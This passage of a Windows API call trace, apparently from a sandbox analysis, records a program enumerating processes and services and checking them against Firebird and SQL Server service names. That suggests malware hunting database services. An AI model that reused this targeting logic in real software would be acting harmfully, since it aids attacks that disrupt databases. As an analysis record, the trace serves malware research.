lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0255.256] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0255.256] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.257] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0255.257] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0255.258] lstrlenW (lpString="mobsync.exe") returned 11 [0255.258] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0255.258] lstrlenW (lpString="chrome64b.exe") returned 13 [0255.258] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0255.259] lstrlenW (lpString="cmd.exe") returned 7 [0255.259] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0255.260] lstrlenW (lpString="conhost.exe") returned 11 [0255.260] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.261] lstrlenW (lpString="svchost.exe") returned 11 [0255.261] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0255.262] CloseHandle (hObject=0x388) returned 1 [0255.262] Sleep (dwMilliseconds=0x1f4) [0255.905] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x731e48 [0255.906] EnumServicesStatusExW (in: hSCManager=0x731e48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0255.906] GetLastError () returned 0xea [0255.906] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c5a) returned 0x4609450 [0255.906] EnumServicesStatusExW (in: hSCManager=0x731e48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4609450, cbBufSize=0x1c5a, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4609450, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0255.907] CloseServiceHandle (hSCObject=0x731e48) returned 1 [0255.907] lstrlenW (lpString="AppXSvc") returned 7 [0255.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0255.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0255.907] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0255.907] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0255.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0255.907] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0255.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.908] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0255.908] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0255.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0255.908] lstrlenW (lpString="Audiosrv") returned 8 [0255.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0255.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0255.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0255.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0255.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0255.908] lstrlenW (lpString="BFE") returned 3 [0255.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0255.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0255.908] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0255.908] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0255.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0255.908] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0255.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0255.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0255.908] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0255.908] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0255.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0255.908] lstrlenW (lpString="CDPSvc") returned 6 [0255.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0255.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0255.908] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0255.908] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0255.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0255.908] lstrlenW (lpString="ClickToRunSvc") returned 13 [0255.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0255.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0255.908] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0255.908] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0255.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0255.909] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0255.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0255.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0255.909] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0255.909] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0255.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0255.909] lstrlenW (lpString="CryptSvc") returned 8 [0255.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0255.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0255.909] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0255.909] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0255.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0255.909] lstrlenW (lpString="DcomLaunch") returned 10 [0255.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.909] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0255.909] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0255.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0255.909] lstrlenW (lpString="DeviceAssociationService") returned 24 [0255.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0255.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0255.909] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0255.909] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0255.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0255.909] lstrlenW (lpString="Dhcp") returned 4 [0255.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0255.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0255.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0255.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0255.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0255.909] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0255.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0255.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0255.910] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0255.910] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0255.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0255.910] lstrlenW (lpString="Dnscache") returned 8 [0255.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0255.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0255.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0255.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0255.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0255.910] lstrlenW (lpString="DPS") returned 3 [0255.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0255.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0255.910] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0255.910] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0255.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0255.910] lstrlenW (lpString="DusmSvc") returned 7 [0255.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0255.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0255.910] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0255.910] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0255.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0255.910] lstrlenW (lpString="EventLog") returned 8 [0255.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0255.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0255.910] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0255.910] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0255.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0255.910] lstrlenW (lpString="EventSystem") returned 11 [0255.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0255.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0255.910] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0255.910] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0255.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0255.910] lstrlenW (lpString="FontCache") returned 9 [0255.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0255.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0255.911] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0255.911] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0255.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0255.911] lstrlenW (lpString="gpsvc") returned 5 [0255.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0255.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0255.911] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0255.911] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0255.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0255.911] lstrlenW (lpString="iphlpsvc") returned 8 [0255.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0255.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0255.911] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0255.911] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0255.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0255.911] lstrlenW (lpString="KeyIso") returned 6 [0255.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0255.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0255.911] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0255.911] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0255.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0255.911] lstrlenW (lpString="LanmanServer") returned 12 [0255.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0255.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0255.911] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0255.911] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0255.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0255.911] lstrlenW (lpString="LanmanWorkstation") returned 17 [0255.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.911] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0255.912] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0255.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0255.912] lstrlenW (lpString="lfsvc") returned 5 [0255.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0255.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0255.912] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0255.912] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0255.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0255.912] lstrlenW (lpString="lmhosts") returned 7 [0255.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0255.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0255.912] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0255.912] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0255.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0255.912] lstrlenW (lpString="LSM") returned 3 [0255.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0255.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0255.912] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0255.912] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0255.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0255.912] lstrlenW (lpString="MpsSvc") returned 6 [0255.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0255.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0255.912] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0255.912] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0255.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0255.912] lstrlenW (lpString="NcbService") returned 10 [0255.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0255.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0255.912] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0255.912] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0255.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0255.912] lstrlenW (lpString="netprofm") returned 8 [0255.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0255.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0255.913] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0255.913] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0255.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0255.913] lstrlenW (lpString="NgcSvc") returned 6 [0255.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0255.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0255.913] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0255.913] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0255.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0255.913] lstrlenW (lpString="NlaSvc") returned 6 [0255.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0255.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0255.913] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0255.913] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0255.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0255.913] lstrlenW (lpString="nsi") returned 3 [0255.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0255.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0255.913] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0255.913] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0255.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0255.913] lstrlenW (lpString="PcaSvc") returned 6 [0255.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0255.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0255.913] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0255.913] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0255.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0255.913] lstrlenW (lpString="PlugPlay") returned 8 [0255.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0255.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0255.913] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0255.913] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0255.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0255.914] lstrlenW (lpString="Power") returned 5 [0255.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0255.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0255.914] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0255.914] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0255.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0255.914] lstrlenW (lpString="ProfSvc") returned 7 [0255.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0255.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0255.914] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0255.914] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0255.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0255.914] lstrlenW (lpString="RpcEptMapper") returned 12 [0255.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.914] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0255.914] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0255.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0255.914] lstrlenW (lpString="RpcSs") returned 5 [0255.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0255.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0255.914] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0255.914] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0255.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0255.914] lstrlenW (lpString="SamSs") returned 5 [0255.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0255.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0255.914] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0255.914] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0255.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0255.914] lstrlenW (lpString="Schedule") returned 8 [0255.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0255.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0255.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0255.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0255.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0255.915] lstrlenW (lpString="SecurityHealthService") returned 21 [0255.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0255.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0255.915] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0255.915] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0255.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0255.915] lstrlenW (lpString="SENS") returned 4 [0255.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0255.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0255.915] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0255.915] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0255.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0255.915] lstrlenW (lpString="ShellHWDetection") returned 16 [0255.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.915] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0255.915] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0255.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0255.915] lstrlenW (lpString="Spooler") returned 7 [0255.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0255.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0255.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0255.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0255.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0255.915] lstrlenW (lpString="StateRepository") returned 15 [0255.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0255.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0255.915] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0255.915] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0255.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0255.915] lstrlenW (lpString="SysMain") returned 7 [0255.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0255.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0255.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0255.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0255.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0255.916] lstrlenW (lpString="SystemEventsBroker") returned 18 [0255.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned 